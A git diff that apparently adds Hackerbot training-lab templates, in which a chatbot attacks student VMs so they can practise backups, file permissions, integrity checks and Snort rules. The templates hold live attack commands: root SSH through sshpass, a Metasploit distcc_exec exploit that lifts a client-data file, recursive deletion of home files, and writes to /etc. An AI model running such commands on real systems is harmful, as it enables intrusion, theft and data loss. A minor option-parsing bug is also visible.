+ self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb"
+ self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+
+ self.backup_server_ip = []
+ self.web_server_ip = []
+ self.ids_server_ip = []
+ self.desktop_ip = []
+ self.hackerbot_server_ip = []
+ end
+
+ def get_options_array
+ super + [['--backup_server_ip', GetoptLong::REQUIRED_ARGUMENT],
+ ['--desktop_ip', GetoptLong::REQUIRED_ARGUMENT],
+ ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT],
+ ['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT],
+ ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]]
+ end
+
+ def process_options(opt, arg)
+ super
+ case opt
+ when '--backup_server_ip'
+ self.backup_server_ip << arg;
+ when '--ids_server_ip'
+ self.ids_server_ip << arg;
+ when '--web_server_ip'
+ self.web_server_ip << arg;
+ when '--desktop_ip'
+ self.desktop_ip << arg;
+ when '--hackerbot_server_ip'
+ self.desktop_ip << arg;
+ end
+ end
+
+end
+
+IDS.new.run
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml
new file mode 100644
index 000000000..34d2054ba
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml
@@ -0,0 +1,49 @@
+
+
+
+ Hackerbot config for a test covering all the hackerbot labs
+ Z. Cliffe Schreuders
+ GPLv3
+ Generates a config file for a hackerbot for a lab test..
+
+ hackerbot_config
+ linux
+
+ accounts
+ flags
+ root_password
+ backup_server_ip
+ desktop_ip
+ hackerbot_server_ip
+
+
+
+
+ vagrant
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ puppet
+
+
+ hackerbot
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb
new file mode 100644
index 000000000..72dab611a
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb
@@ -0,0 +1,29 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb
new file mode 100644
index 000000000..8e89ace31
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb
@@ -0,0 +1,4 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb
new file mode 100644
index 000000000..4299c9186
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb
@@ -0,0 +1,23 @@
+
+
+<% $file = SecureRandom.hex(2) %>
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash
+
+ Use scp to copy the desktop /bin/ directory to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-bin-backup-<%= $file %>/, which should then include the backed up bin/ directory.
+
+ ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/mkdir > /dev/null; echo $?
+
+ No such file or directory
+ :( You didn't copy to the remote /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/... Remember that the trailing / changes whether you are copying directories or their contents...
+
+
+ 0
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ :( Something was not right...
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb
new file mode 100644
index 000000000..f05ae45bf
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb
@@ -0,0 +1,115 @@
+
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash
+
+
+ It's your job to set up remote backups for <%= $second_user %> (a user on your system). Use rsync to create a full (epoch) remote backup of /home/<%= $second_user %> from your desktop system to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>.
+
+ ls /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/<%= $files.sample %> > /dev/null; echo $?
+
+ 0
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ No such file or directory
+ :( You didn't copy to remote ssh /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/ Remember that the trailing / changes whether you are copying directories or their contents...
+
+
+ :( Doesn't look like you have backed up all of <%= $second_user %>'s files to /home/<%= $main_user %>/remote-rsync-backup/<%= $second_user %>. Try SSHing to the server and look at what you have backed up there.
+
+
+
+
+<% $first_notes = SecureRandom.hex(2) %>
+<% $hidden_flag = 'not_a_flag' %>
+
+
+ The <%= $second_user %> user is about to create some files...
+
+ sudo -u <%= $second_user %> bash -c 'echo "Note to self: drink more water <%= $first_notes %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep" > /home/<%= $second_user %>/logs/log2; echo <%= $hidden_flag %> > /home/<%= $second_user %>/personal_secrets/flag; echo $?'
+
+ Permission denied|Operation not permitted|Read-only
+ :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files!
+
+
+ 0
+ Ok, good...
+ true
+
+
+ :( Something went wrong...
+
+
+
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash
+
+
+ Create a differential backup of <%= $second_user %>'s desktop files to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-differential1/.
+
+
+
+ grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; echo $status1$status2
+
+ 0[1-9]
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ [1-9][1-9]
+ :( You didn't backup to the specified remote directory.
+
+
+ 00
+ :( You backed up to the correct location, but it wasn't an differential backup... You probably need to ssh in and delete that last backup and try again.
+
+
+ :( Something went wrong...
+
+
+
+
+
+
+
+ I am going to attack you now!
+
+ rm -r /home/<%= $second_user %>/*; echo $?
+
+ Permission denied|Operation not permitted|Read-only
+ :( Oh no. Access errors. <%= $second_user %>. You need to let this happen!
+
+
+ 0
+ I just deleted all <%= $second_user %>'s files! They don't call me Hackerbot for nothin'!
+ true
+
+
+ :( Something went wrong...
+
+
+
+
+
+
+
+
+ Restore <%= $second_user %>'s notes file to it's earliest state
+
+ grep '<%= $first_notes %>' /home/<%= $second_user %>/notes > /dev/null; status1=$?; echo $status1
+
+ 0
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ [0-9]
+ :( That's not the earliest state...
+
+
+ :( Something went wrong...
+
+
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb
new file mode 100644
index 000000000..8c58d3cab
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb
@@ -0,0 +1,48 @@
+
+
+<% $rand_alert0 = SecureRandom.hex(3)
+ $rand_tmp_restingplace = "/tmp/#{SecureRandom.hex(3)}" %>
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>clients.csv <%= $rand_tmp_restingplace %>; chmod 644 <%= $rand_tmp_restingplace %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$?
+
+ msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit"
+
+ cat <%= $rand_tmp_restingplace %>; echo --$?
+
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert0 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert0 %>.*".*content:"' /tmp/snort_rules >/dev/null; echo good_rule:$?
+
+
+ You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert0 %>". (This attack may take a while.)
+
+
+ good_rule:1
+ :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing content matching or the message from your rule.
+
+
+ triggered:1
+ :( Your rule wasn't triggered.
+
+
+ triggered:0.*good_rule:0
+ :) Well done! <%= $flags.pop %>.
+
+
+
+ --1
+ :( Failed to scp to the ids server (<%= $ids_server_ip %>)
+
+
+ -1
+ :( Failed to ssh to the web server (<%= $web_server_ip %>)
+
+
+ --0
+ Continuing...
+
+
+ :( Something was not quite right...
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb
new file mode 100644
index 000000000..b79ba4cfc
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb
@@ -0,0 +1,46 @@
+
+<% $rand_alert2 = SecureRandom.hex(3)
+ $rand_tmp_restingplace_fake = "/tmp/#{SecureRandom.hex(3)}" %>
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>fake_clients.csv <%= $rand_tmp_restingplace_fake %>; chmod 644 <%= $rand_tmp_restingplace_fake %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$?
+
+ msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit"
+
+ cat <%= $rand_tmp_restingplace_fake %>; echo --$?
+
+ sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert2 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert2 %>.*".*pcre:"' /tmp/snort_rules >/dev/null; echo good_rule:$?
+
+
+ You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv and another in fake_clients.csv Create a rule that matches either file. Use REGEXP so that your rule doesn't include any of the actual data. Use one or more Snort rules to detect unencrypted transport of either of the files. The alert must include the message "<%= $rand_alert2 %>".
+
+
+ good_rule:1
+ :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing *regular expression* matching or the message from your rule.
+
+
+ triggered:1
+ :( Your rule wasn't triggered.
+
+
+ triggered:0.*good_rule:0
+ :) Well done! <%= $flags.pop %>.
+
+
+
+ --1
+ :( Failed to scp to the ids server (<%= $ids_server_ip %>)
+
+
+ -1
+ :( Failed to ssh to the web server (<%= $web_server_ip %>)
+
+
+ --0
+ Continuing...
+
+
+ :( Something was not quite right...
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb
new file mode 100644
index 000000000..37fdb90c4
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb
@@ -0,0 +1,19 @@
+
+<% $file = SecureRandom.hex(2) %>
+ An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file.
+
+ sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $?
+
+ Permission denied
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ 0
+ :( We managed to write to your file! You need to use access controls to protect the file. Create a new file.
+
+
+ :( Something was not right...
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb
new file mode 100644
index 000000000..468dedb29
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_2.xml.erb
@@ -0,0 +1,29 @@
+
+
+<% $log_file = $log_files.sample %>
+
+ An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes.
+
+ rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $?
+
+ Operation not permitted
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ Permission denied
+ :( You did protect the file, but not using file attributes.
+
+
+ 0
+ :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file.
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb
new file mode 100644
index 000000000..cbf73f007
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_3.xml.erb
@@ -0,0 +1,24 @@
+
+
+<% $log_file = $log_files.first %>
+
+ An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only.
+
+ echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $?
+
+ appended!
+ :( You stopped anything from being appended to the file. What kind of log file do you think this is?
+
+
+ Operation not permitted
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb
new file mode 100644
index 000000000..1a091f868
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_4.xml.erb
@@ -0,0 +1,21 @@
+
+
+
+ An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only. (Don't forget to 'sudo umount /etc/' to reverse this after you complete this challenge!)
+
+ echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked
+
+ Read-only file system
+ :) Well done! <%= $flags.pop %>
+
+
+
+ Permission denied|Operation not permitted
+ :( You stopped the attack, but not by using read only bind mounting...
+
+
+ :( Something was not right...
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb
new file mode 100644
index 000000000..3a9328319
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack1.xml.erb
@@ -0,0 +1,36 @@
+
+
+<% $random_user = 'user' + SecureRandom.hex(3) %>
+
+ An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd.
+
+ rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $?
+
+
+ returned error code
+ :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!.
+
+
+ 0
+ User added
+
+
+
+ already exists
+ :( Remove the user and try again.
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ Now after the attack, find the username added by diffing using a backup. What username was created?
+ ^<%= $random_user %>$
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb
new file mode 100644
index 000000000..058a60b83
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack2.xml.erb
@@ -0,0 +1,20 @@
+
+
+
+ An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/.
+ changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf
+
+
+ /etc/
+ A flag has been inserted into a random file in /etc/. Find the flag. Get to work!
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/
+
+
+ :( Something was not right... We are trying to write to /etc/
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb
new file mode 100644
index 000000000..7826a066a
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack3.xml.erb
@@ -0,0 +1,19 @@
+
+
+
+ An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/.
+ changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf
+
+
+ /home/<%= $main_user %>/backups/
+ A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work!
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/
+
+
+ :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb
new file mode 100644
index 000000000..4b1144145
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack4.xml.erb
@@ -0,0 +1,27 @@
+
+
+<% $random = SecureRandom.hex %>
+
+ Creating a new file in /home/<%= $main_user %>/... Let it happen.
+
+ echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $?
+
+ 0
+ Created /home/<%= $main_user %>/something_secret
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the SHA1 hash of /home/<%= $main_user %>/something_secret?
+ ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb
new file mode 100644
index 000000000..376c76d4b
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack5.xml.erb
@@ -0,0 +1,26 @@
+
+
+ Going to create a new file in /etc/, use hash comparisons to detect which new file changes.
+ x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX"
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb
new file mode 100644
index 000000000..1ae0a2373
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack6.xml.erb
@@ -0,0 +1,26 @@
+
+
+ Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file.
+ srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest
+
+
+
+ /bin/
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb
new file mode 100644
index 000000000..6cb8178b2
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/integrity_attack7.xml.erb
@@ -0,0 +1,27 @@
+
+
+
+ Going to copy a new random file in /etc/ use hash comparisons to find the filename.
+ srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb
new file mode 100644
index 000000000..59b1e3048
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/intro.md.erb
@@ -0,0 +1,119 @@
+# Hacker vs Hackerbot 2
+
+## Troubleshooting with oVirt during the test
+
+In the unlikely event you experience technical issues with our infrastructure during the test, please keep the following in mind.
+
+* If your Snort alert file fills with "BAD TRAFFIC" alerts, let us know asap and we can fix that for you by changing the network interface type.
+
+* If copy and paste stops working, simply copy your flags to a text file rather than the submission site, and let us know when you finish the test so we can help you submit these before you leave.
+
+* If a VM looses its IP addresses (particularly the IDS server), simply run `sudo ifconfig eth1 *IP_ADDRESS*`, where `*IP_ADDRESS*` is the expected IP address (listed in the section below).
+
+* If you experience any technical issues, which you believe to be outside your control, let us know before you leave the room. However, keep in mind we won't give hints for the actual test challenges.
+
+## Getting started
+### VMs in this lab
+
+==Start these VMs== (if you haven't already):
+
+- hackerbot_server (leave it running, you don't log into this)
+- ids_server (IP address: <%= $ids_server_ip %>)
+- web_server (IP address: <%= $web_server_ip %>)
+- desktop
+
+All of these VMs need to be running to complete the lab.
+
+### Your login details for the "desktop" and "backup_server" VMs
+User: <%= $main_user %>
+Password: <%= $main_password %>
+(You can copy-paste this password!)
+
+You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab.
+
+### For marks in the module
+1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
+
+## Hackerbot!
+
+
+This exercise involves interacting with Hackerbot, a chatbot who will task you to complete tasks and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you.
+
+---
+
+Some commands you may find useful include:
+* `rsync`
+* `chattr`
+* `lsattr`
+* `chmod`
+* `hashdeep`
+* `shasum`
+* `mount`
+* `umount`
+* `diff`
+* `tcpdump`
+* `wireshark`
+* `kdesudo`
+* `ssh`
+* `snort`
+* `sudo service snort stop`
+* `sudo service snort start`
+* `netstat`
+* `ps`
+* `lsof`
+* `top`
+
+Remember you can learn more about the commands by running:
+```bash
+man *command*
+```
+
+## Getting Snort up and running
+
+**On the ids_server VM:**
+
+==Change Snort's output== to something more readable:
+
+```bash
+sudo vi /etc/snort/snort.conf
+```
+> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*,
+
+> ":wq" to write changes and quit)
+
+==Add the following lines:==
+`output alert_fast`
+
+`include $RULE_PATH/my.rules`
+
+==Create a new rules file:==
+
+```bash
+sudo touch /etc/snort/rules/my.rules
+```
+
+Let us edit the rules file without sudo:
+
+```bash
+sudo chown <%= $main_user %> /etc/snort/rules/my.rules
+```
+
+==Change Snort's interface== to the interface with IP address <%= $ids_server_ip %> (likely eth1), and set the local network to your IP address range (or "any"):
+
+```bash
+sudo vi /etc/snort/snort.debian.conf
+```
+> If you are not sure which interface to use, list the interfaces with `ifconfig` or `ip a s`
+> Set the interface and HOME network range, and exit vi (Esc, ":wq").
+
+==Restart Snort:==
+
+```bash
+sudo service snort stop
+sudo service snort start
+```
+> Using "reload" or "restart" may not update the interface.
+
+Snort should now be running, monitoring network traffic for activity.
+
+### Good luck!
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb
new file mode 100644
index 000000000..fe8b20743
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/lab.xml.erb
@@ -0,0 +1,170 @@
+<%
+ require 'json'
+ require 'securerandom'
+ require 'digest/sha1'
+ require 'fileutils'
+ require 'erb'
+
+ if self.accounts.empty?
+ abort('Sorry, you need to provide an account')
+ end
+
+ $first_account = JSON.parse(self.accounts.first)
+ $second_account = JSON.parse(self.accounts[1])
+
+ $files = []
+ $log_files = []
+ if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0
+ $files = $first_account['leaked_filenames']
+ $log_files = $first_account['leaked_filenames'].grep(/log/)
+ end
+
+ if $files.empty?
+ $files = ['myfile', 'afile', 'filee', 'thefile']
+ end
+ if $log_files.empty?
+ $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+ end
+
+ $main_user = $first_account['username'].to_s
+ $main_password = $first_account['password'].to_s
+ $second_user = $second_account['username'].to_s
+ $example_file = "/home/#{$second_user}/#{$files.sample}"
+ $example_dir = "/home/#{$second_user}/personal_secrets/"
+
+ $web_server_ip = self.web_server_ip.first
+ $ids_server_ip = self.ids_server_ip.first
+ $backup_server_ip = self.backup_server_ip.first
+ $desktop_ip = self.desktop_ip.first
+ $hackerbot_server_ip = self.hackerbot_server_ip.first
+ $root_password = self.root_password
+ $flags = self.flags
+
+ $sensitive_files_location = "/home/#{$main_user}/trade_secrets/"
+
+ REQUIRED_FLAGS = 10
+ while $flags.length < REQUIRED_FLAGS
+ $flags << "flag{#{SecureRandom.hex}}"
+ Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+ end
+
+ def get_binding
+ binding
+ end
+-%>
+
+
+
+
+
+ Hackerbot
+
+ config/AIML
+
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash
+
+
+
+
+
+ You are about to be attacked!
+
+
+ When you are ready, simply say 'ready'.
+ 'Ready'?
+ Ok, I'll do what I can to move things along...
+ Moving things along to the next one...
+ Ok, I'll do what I can to back things up...
+ Ok, backing up.
